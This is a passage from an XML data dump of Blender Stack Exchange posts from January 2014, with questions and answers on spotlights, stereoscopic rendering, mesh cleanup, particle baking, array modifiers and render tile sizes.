2.69 release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(remainder of original text moved to new question: &lt;a href=&quot;https://blender.stackexchange.com/q/6314/1259&quot;&gt;&quot;Why do my spotlight's dimensions differ between rendered and non-rendered view?&quot;&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1259" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-02-17T00:30:50.237" Title="How do I properly set up a spotlight cone?" Tags="&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6299" PostTypeId="2" ParentId="6298" CreationDate="2014-01-16T02:24:12.777" Score="6" Body="&lt;p&gt;In order for the spot lamp to be blocked by other objects, you must set the &lt;em&gt;Step&lt;/em&gt; to at least 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J07k8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-16T02:24:12.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6300" PostTypeId="1" AcceptedAnswerId="6301" CreationDate="2014-01-16T07:24:03.013" Score="6" ViewCount="1865" Body="&lt;p&gt;I want to create a 3D animation, but by 3D I mean if you had a 3D tv/screen you could watch it in 3d. From my research in 3d video files they are just regular formats like .avi but they have 2 frames for every one frame of movement. To do this in blender I could put 2 cameras slightly spaced out from each other but how could I get them to both render a image for each frame? Can this be done in regular blender or do I need a plugg-in?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="12" LastEditDate="2014-02-17T06:44:58.527" LastActivityDate="2014-02-17T06:44:58.527" Title="How do you render a stereoscopic image?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6301" PostTypeId="2" ParentId="6300" CreationDate="2014-01-16T07:31:17.797" Score="6" Body="&lt;p&gt;You could use two scenes two render two cameras (see &lt;a href=&quot;https://blender.stackexchange.com/q/6277/599&quot;&gt;Different camera settings for different render layers?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;a href=&quot;http://wiki.blender.org/index.php/User:Dfelinto/Stereoscopy&quot; rel=&quot;nofollow noreferrer&quot;&gt;this is a feature that is currently being developed&lt;/a&gt;, so you could try &lt;a href=&quot;http://graphicall.org/?keywords=multiview&quot; rel=&quot;nofollow noreferrer&quot;&gt;one of the development versions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-01-16T07:31:17.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6302" PostTypeId="1" CreationDate="2014-01-16T08:11:43.300" Score="26" ViewCount="18415" Body="&lt;p&gt;How do I reload a linked blender file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I linked a &lt;code&gt;.blend&lt;/code&gt; file into another. After I update the linked file (say change the material color), how do I make the project I imported it into update? &lt;/p&gt;&#xA;" OwnerUserId="2128" LastEditorUserId="1363" LastEditDate="2014-01-16T16:47:08.990" LastActivityDate="2018-10-13T22:39:47.817" Title="How do I reload a linked blender file?" Tags="&lt;blend-files&gt;&lt;linked-data&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6303" PostTypeId="2" ParentId="6302" CreationDate="2014-01-16T08:17:57.067" Score="6" Body="&lt;p&gt;Try saving and reloading the file. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to save. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; to open the recent files menu, then select the top entry or press &lt;kbd&gt;1&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-16T08:17:57.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6304" PostTypeId="1" AcceptedAnswerId="6305" CreationDate="2014-01-16T08:29:24.620" Score="13" ViewCount="8546" Body="&lt;p&gt;I have cut a hole in a plane, but I am left with some loose edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to select and delete them all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N4t8P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this edges siting out with no face?&lt;/p&gt;&#xA;" OwnerUserId="2128" LastActivityDate="2015-02-02T20:19:39.710" Title="How do I remove all loose edges?" Tags="&lt;mesh&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6305" PostTypeId="2" ParentId="6304" CreationDate="2014-01-16T08:31:26.267" Score="13" Body="&lt;p&gt;Select the vertex and the end of one, then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;em&gt;&gt; Amount of adjacent faces&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ppioa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mDASa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then delete. (&lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&gt; Vertices&lt;/em&gt;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-16T08:36:50.523" LastActivityDate="2014-01-16T08:36:50.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6306" PostTypeId="2" ParentId="6296" CreationDate="2014-01-16T08:42:00.783" Score="1" Body="&lt;p&gt;The most common cause for normals failing to calculate correctly is a non-manifold mesh. Manifold means that every edge has exactly two faces attached to it. Non-manifolds occur, for instance, when there are internal faces connected to the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By pressing &lt;kbd&gt;shift&lt;/kbd&gt;&lt;kbd&gt;alt&lt;/kbd&gt;&lt;kbd&gt;ctrl&lt;/kbd&gt;-&lt;kbd&gt;m&lt;/kbd&gt; (edit mode, edge or vertex selection mode), you can select all non-manifold edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then remove the &quot;errors&quot; manually one by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this, pressing &lt;kbd&gt;ctrl&lt;/kbd&gt;-&lt;kbd&gt;n&lt;/kbd&gt; should give you the desired result.&lt;/p&gt;&#xA;" OwnerUserId="1583" LastActivityDate="2014-01-16T08:42:00.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6307" PostTypeId="1" CreationDate="2014-01-16T11:10:34.343" Score="1" ViewCount="340" Body="&lt;p&gt;I'm attempting to use Dynamic Paint with the Image Sequence setting.  I've followed all the &lt;a href=&quot;https://blender.stackexchange.com/questions/6221/how-do-i-use-dynamic-paint-with-the-image-sequence-setting&quot; title=&quot;necessary steps&quot;&gt;necessary steps&lt;/a&gt; and I also chose to enable the setting &lt;em&gt;Use Object Material&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z81vv.png&quot; alt=&quot;Selecting Use Object Material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material should be green, but the .png files that are produced just have the default light blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zCACx.png&quot; alt=&quot;problem with color&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem is only with this particular Blender file.  I can't reproduce it a new file.  The scene I created was very complex with many objects, but I've deleted all the objects in the scene and started with a new canvas, but the problem persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surprisingly, if I open a new Blender file and append the brush object and the canvas object and hit &lt;em&gt;Bake Image Sequence&lt;/em&gt;, it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vd7bK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;http://www.pasteall.org/blend/26300&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender file&lt;/a&gt;, if you open and hit &lt;em&gt;Bake Image Sequence&lt;/em&gt;, you'll see the problem.  Any ideas?  Could this be a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: A &lt;a href=&quot;https://developer.blender.org/T38267&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug report&lt;/a&gt; was submitted on this and it has been marked as resolved.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-01-20T20:29:12.690" Title="Problem with the &quot;Use Object Material&quot; setting for Dynamic Paint" Tags="&lt;dynamic-paint&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-01-21T00:00:12.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="6308" PostTypeId="2" ParentId="6302" CreationDate="2014-01-16T11:14:34.003" Score="7" Body="&lt;p&gt;There is also a great addon, written by &lt;em&gt;Pablo Vazquez&lt;/em&gt;, called &lt;strong&gt;&quot;Amaranth&quot;&lt;/strong&gt;, which include a little feature (among others) : &lt;em&gt;&quot;Save and reload&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pablovazquez.org/amaranth/&quot; rel=&quot;noreferrer&quot;&gt;http://www.pablovazquez.org/amaranth/&lt;/a&gt; (see the bottom of this page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installing it, you'll just have to hit &lt;kbd&gt;CTRL&lt;/kbd&gt; &lt;kbd&gt;SHIFT&lt;/kbd&gt; &lt;kbd&gt;W&lt;/kbd&gt; (or go into &lt;em&gt;File&lt;/em&gt; menu), to save and reload the current file. It should update all linked data as well.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-01-16T11:14:34.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6309" PostTypeId="5" CreationDate="2014-01-16T13:19:28.257" Score="0" Body="" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2014-01-16T13:19:28.257" LastActivityDate="2014-01-16T13:19:28.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6310" PostTypeId="4" CreationDate="2014-01-16T13:19:28.257" Score="0" Body="Stereoscopy is a process by which two images taken at slightly different angles are viewed together, creating an impression of depth and &quot;3d&quot;." OwnerUserId="14" LastEditorUserId="14" LastEditDate="2014-01-16T13:19:28.257" LastActivityDate="2014-01-16T13:19:28.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6312" PostTypeId="2" ParentId="6293" CreationDate="2014-01-16T15:20:33.747" Score="7" Body="&lt;p&gt;The Frame Rate in the render settings should also control viewport playback. If you choose the &quot;custom&quot; option and set it to 8, it should make the viewport also play at 8 fps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vAdmw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-16T15:20:33.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6313" PostTypeId="2" ParentId="6297" CreationDate="2014-01-16T15:37:58.007" Score="-1" Body="&lt;p&gt;There are two things that might be going on.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Your cache is baking a different range of frames than are on your timeline. Make sure that the frame range in the cache settings is what you want it to be, because it might not be the same as your timeline range.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your baked physics aren't getting freed, properly, and it's continuing to re-use old simulation data without re-calculating it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This, in turn, might be for a number of different reasons:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You might not know that you have to &quot;free bake&quot; (in the cache settings) in order to run the bake again.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You might be using &quot;disk cache&quot; or &quot;external.&quot; External uses a particular set of physics cache files and won't change them, even if you free the bake. This is unlikely, tho, because IIRC, the baking buttons go away when you turn this on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender is acting up. There is a known issue with Blender releasing caches properly with any of the simulators, including smoke and particles. There are a few work-arounds. The work-around that I consider easiest is to change some &quot;significant&quot; value after freeing the bake. This will usually fully free the baked files and allow you to re-compute the simulation. There are some values that will do this and some that won't. You can tell when the files are freed because the colored line at the bottom of the timeline will change. Sometimes you ALSO have to track all the way back to the beginning of the animation. The most fail-safe method is to find the folder named &lt;code&gt;blendcache_[filename]&lt;/code&gt; and delete its contents.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-16T15:37:58.007" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="6314" PostTypeId="1" AcceptedAnswerId="6316" CreationDate="2014-01-16T17:16:14.197" Score="1" ViewCount="291" Body="&lt;p&gt;In an animation scene of mine, I render most of the scene in Cycles and only the volumetric light in BI using a fully linked copy of the original scene where only the layer with the spotlight is actually rendered and the other layers are used as a mask. The problem is that the rendered search light does not match the preview of the cone that I see in non-rendered 3D view (with the &quot;show cone&quot; option enabled, obviously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate, here's what it looks like in solid view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gpek6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the exact same frame in rendered view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bpjku.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the cone is much narrower than in solid view. In other frames, the rendered cone also appears to point at a slightly different place than the solid view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what might be causing this? Where should I check? Could this be some sort of cached setting (I did tweak spot sizes and directions after creating the linked scene)? Where would I reset this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using Blender 2.69.8 Fastest Build from graphicall.org but also had this problem with the original 2.69 release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[originally posted as part of the question &quot;&lt;a href=&quot;https://blender.stackexchange.com/q/6298/1259&quot;&gt;How do I properly set up a spotlight cone?&lt;/a&gt;&quot;]&lt;/p&gt;&#xA;" OwnerUserId="1259" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-01-16T21:59:50.770" Title="Why do my spotlight's dimensions differ between rendered and non-rendered view?" Tags="&lt;blender-internal-render-engine&gt;&lt;light&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6315" PostTypeId="1" AcceptedAnswerId="6317" CreationDate="2014-01-16T17:56:52.093" Score="2" ViewCount="1873" Body="&lt;p&gt;I am trying to run a script that prompts the user for a desired directory and file name for export. Ideally, this script would be run from the &lt;em&gt;File -&gt; Export&lt;/em&gt; menu and pop up a file browser window similar to how the included export scripts function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I've found to call Blender's file browser is via a file path property for a UI panel (i.e. &lt;a href=&quot;https://blender.stackexchange.com/questions/2382/how-to-add-a-select-path-input-in-a-ui-addon-script&quot;&gt;How to add a &amp;quot;select path&amp;quot; input in a UI addon script?&lt;/a&gt;). Is what I'm trying for possible?&lt;/p&gt;&#xA;" OwnerUserId="1979" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-01-17T09:32:25.130" Title="Use Blender's file browser via python, without a UI panel" Tags="&lt;python&gt;&lt;file-browser&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6316" PostTypeId="2" ParentId="6314" CreationDate="2014-01-16T18:09:37.170" Score="2" Body="&lt;p&gt;This is because you have scaled the spot light in the 3D view. Scaling the spot light seems to effect the render in strange ways (the cone seems to get larger but the illuminated portion does not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can clear the scale with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;. Then you can make it the proper size again, now using the settings in &lt;em&gt;Properties &gt; Object Data&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-16T18:14:38.090" LastActivityDate="2014-01-16T18:14:38.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6317" PostTypeId="2" ParentId="6315" CreationDate="2014-01-16T19:42:59.170" Score="8" Body="&lt;p&gt;Blender comes with a template for this, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Text Editor -&gt; Templates -&gt; Python -&gt; File Export&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the script, it will execute immediately (which is just for testing), but it also adds a menu item to the export menu.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="1363" LastEditDate="2014-01-16T22:05:25.547" LastActivityDate="2014-01-16T22:05:25.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6319" PostTypeId="1" CreationDate="2014-01-16T20:19:07.537" Score="2" ViewCount="718" Body="&lt;p&gt;I am trying to create an array that starts from the object's face rather than from its geometric center (to create objects made of tiled polyhedra), here is an approximate example of what I mean:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9pftl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make an array I've moved my object's origin to a face and made a custom transform orientation perpendicular to the face:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rsH3F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet when I create an array it doesn't behave the way I thought it would:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Qa04H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like the offset occurs from the object's center rather from the face, and the direction of the offset doesn't make sense to me (it's supposed to be X, why is it going upwards?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get my modifier to start from the specified face along the specified axis? &lt;/p&gt;&#xA;" OwnerUserId="2140" LastEditorUserId="2140" LastEditDate="2014-01-17T01:36:58.607" LastActivityDate="2014-01-17T17:40:20.110" Title="How to align polyhedra face to face in an array" Tags="&lt;modifiers&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6320" PostTypeId="2" ParentId="6319" CreationDate="2014-01-16T20:26:24.073" Score="1" Body="&lt;p&gt;You'll notice that the offset is in the direction of the green arrow, which happens to be the LOCAL x-axis ;-) To clarify, the relative offset is using local space, so it will be in the directions that relate to the local axes, not the global axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will help to make your object's axes the same as the world axes. This just makes things a little more intuitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may also help to explore using the &quot;Object Offset,&quot; which makes it relative to some other object, like an empty. It can be easier to see what's going on, that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-16T20:26:24.073" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6321" PostTypeId="1" CreationDate="2014-01-16T21:28:11.060" Score="0" ViewCount="2206" Body="&lt;p&gt;I am a newbie at Blender, but love it. I am trying to create a model of a building which is to be constructed. There are several arched openings in walls. I am having a great deal of trouble being able to create these arches. I have googled but not found anything that works.&lt;/p&gt;&#xA;" OwnerUserId="2170" LastEditorUserId="2217" LastEditDate="2014-09-16T14:10:03.060" LastActivityDate="2014-09-16T14:10:03.060" Title="Cutting an archway in a wall of a model of a building" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6322" PostTypeId="1" CreationDate="2014-01-16T21:33:35.810" Score="2" ViewCount="6371" Body="&lt;p&gt;I have a blender project setup, it is simply a building and a pond that are sitting on a sculpted ground plane. The ground plane has several particle systems setup on it: big and little trees (for a forest), two kinds of grass, some reeds around the edge of the pond.&#xA;Then I have a camera that does a dolly move around the bank of the pond, while facing the building. The way the particle systems are setup is: a few parents and very many children that are generated at the time of render. All of the particles are static, (they don't change in any way through the extent of the dolly move).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when rendering the ground plane particles have to be generated for EVERY frame of the animation even though the particles don't move or anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is this: is there a way for the children particles to be generated for the first frame and used again and again for the full duration of the animation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a lot of searching for baking in Blender, but that only has to do with textures (from what I've read). I've searched for &quot;precompiling particles&quot; but that didn't yield anything along the lines of what I was wanting. As you can tell, I'm not even sure what terminology I should be using. Any advice would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a low frame-rate and &quot;rough draft&quot; of my animation: &lt;a href=&quot;https://vimeo.com/84326435&quot; rel=&quot;nofollow&quot;&gt;enter link description here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2014-07-16T12:02:17.423" Title="&quot;Bake&quot; all Particle systems into their object" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6323" PostTypeId="5" CreationDate="2014-01-16T22:01:03.543" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-16T22:01:03.543" LastActivityDate="2014-01-16T22:01:03.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6324" PostTypeId="4" CreationDate="2014-01-16T22:01:03.543" Score="0" Body="Questions about rendering with volumes (smoke, fog, etc.). Use this tag for both Blender Internal and Cycles." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-16T22:01:03.543" LastActivityDate="2014-01-16T22:01:03.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6325" PostTypeId="2" ParentId="924" CreationDate="2014-01-16T22:16:02.740" Score="2" Body="&lt;p&gt;Volumetrics and smoke are not currently supported by Cycles. There are some experimental builds that will support rendering static volumes, but not voxels, yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 2.70 is &lt;a href=&quot;http://blenderdiplom.com/en/blog/527-demo-volume-with-blender-cycles.html&quot; rel=&quot;nofollow&quot;&gt;reported&lt;/a&gt; to support volumes, and voxels (for smoke) will come later.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-16T22:16:02.740" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6326" PostTypeId="1" CreationDate="2014-01-17T01:28:37.103" Score="3" ViewCount="3447" Body="&lt;p&gt;I have 3 objects which I have animated separately: the main gun, the magazine, and the arms. As you can see in the image below I have named all of the actions  ReloadUMP, with their corresponding parts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hsxVx.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to merge all 3 actions together to create &lt;strong&gt;one&lt;/strong&gt; action called &quot;ReloadUMP&quot;, so then I can move on to make the shooting animation and so on. I can't figure out how to merge them without changing the transformation of the arms or the magazine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qBeJT.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-07-26T07:11:26.337" LastActivityDate="2014-07-26T07:11:26.337" Title="How to merge actions together?" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6327" PostTypeId="2" ParentId="6319" CreationDate="2014-01-17T01:33:31.213" Score="2" Body="&lt;p&gt;Well, I found the solution. Although the result does not look like the object on the very first picture, the array elements lined up face to face, which is what I wanted.&#xA;The problem is that some non-rectangular polyhedra have no faces being normal to their coordinate axes. Since the array modification relies on the &amp;quot;local&amp;quot; coordinate system of the whole object, you can't produce an array with objects aligned face to face unless you change the object's local axes.&lt;/p&gt;&#xA;&lt;p&gt;The solution is basically given in the comment above, with a tweak to achieve perfect alignment of the faces. So, once more:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an icosahedron and a cube.&lt;/li&gt;&#xA;&lt;li&gt;Using a plugin (&amp;quot;align by faces&amp;quot;, from &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Align_by_faces&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;), align the face of a cube with one of the object's faces.&lt;/li&gt;&#xA;&lt;li&gt;Delete all of the cube's vertices.&lt;/li&gt;&#xA;&lt;li&gt;Join the icosahedron TO the cube (not the other way round) so that the resulting object inherits the cube's axes.&lt;/li&gt;&#xA;&lt;li&gt;Origin to geometry and create an array.&lt;/li&gt;&#xA;&lt;li&gt;Create an empty in the center of the icosahedron. At this point you can set the empty as the offset object to check how things are looking.&lt;/li&gt;&#xA;&lt;li&gt;Rotate the empty so that the &amp;quot;normal&amp;quot; axis (along which the array should be situated), in my case the x-axis, aligns with the icosahedron's axis. I just copied the angle numbers from one to the other.&#xA;The result is this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0C0Ks.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;And of course this can be further tweaked by moving/rotating the empty and changing offsets.&lt;/p&gt;&#xA;" OwnerUserId="2140" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-17T01:44:39.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6329" PostTypeId="1" AcceptedAnswerId="6330" CreationDate="2014-01-17T03:42:13.040" Score="3" ViewCount="792" Body="&lt;p&gt;While rendering is there any difference in performance with smaller or bigger tiles. Also are there any other effects of changing the tile size, wouldn't a smaller tile size be better because you can see the render result faster?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2014-01-17T08:39:13.630" Title="Are there any advantages of bigger/smaller tiles" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6330" PostTypeId="2" ParentId="6329" CreationDate="2014-01-17T03:49:57.400" Score="2" Body="&lt;p&gt;There are two considerations involved with tiled rendering:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;There is some overhead when switching tiles. Larger tiles = fewer tiles = less switching = less extra processing time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Smaller tiles render faster &lt;em&gt;(which reduces the likelihood that one tile is left rendering at the end, leaving all the other processors idle &lt;strong&gt;*&lt;/strong&gt;)&lt;/em&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You must find a balance between these two factors (In other words, you don't want all your processing time to be spent switching between tiles). The optimal tile size for you will probably be specific to your scene, hardware configuration, personal preferences (e.g. sacrificing a small amount of speed for larger/smaller tiles), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/questions/3120/best-tile-size-for-blender-internal-renderer-and-cycles&quot;&gt;Best Tile Size for Blender Internal Renderer and Cycles&lt;/a&gt; for some examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;* &lt;em&gt;this assumes you have more then one processor/core in your system.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-01-17T08:39:13.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
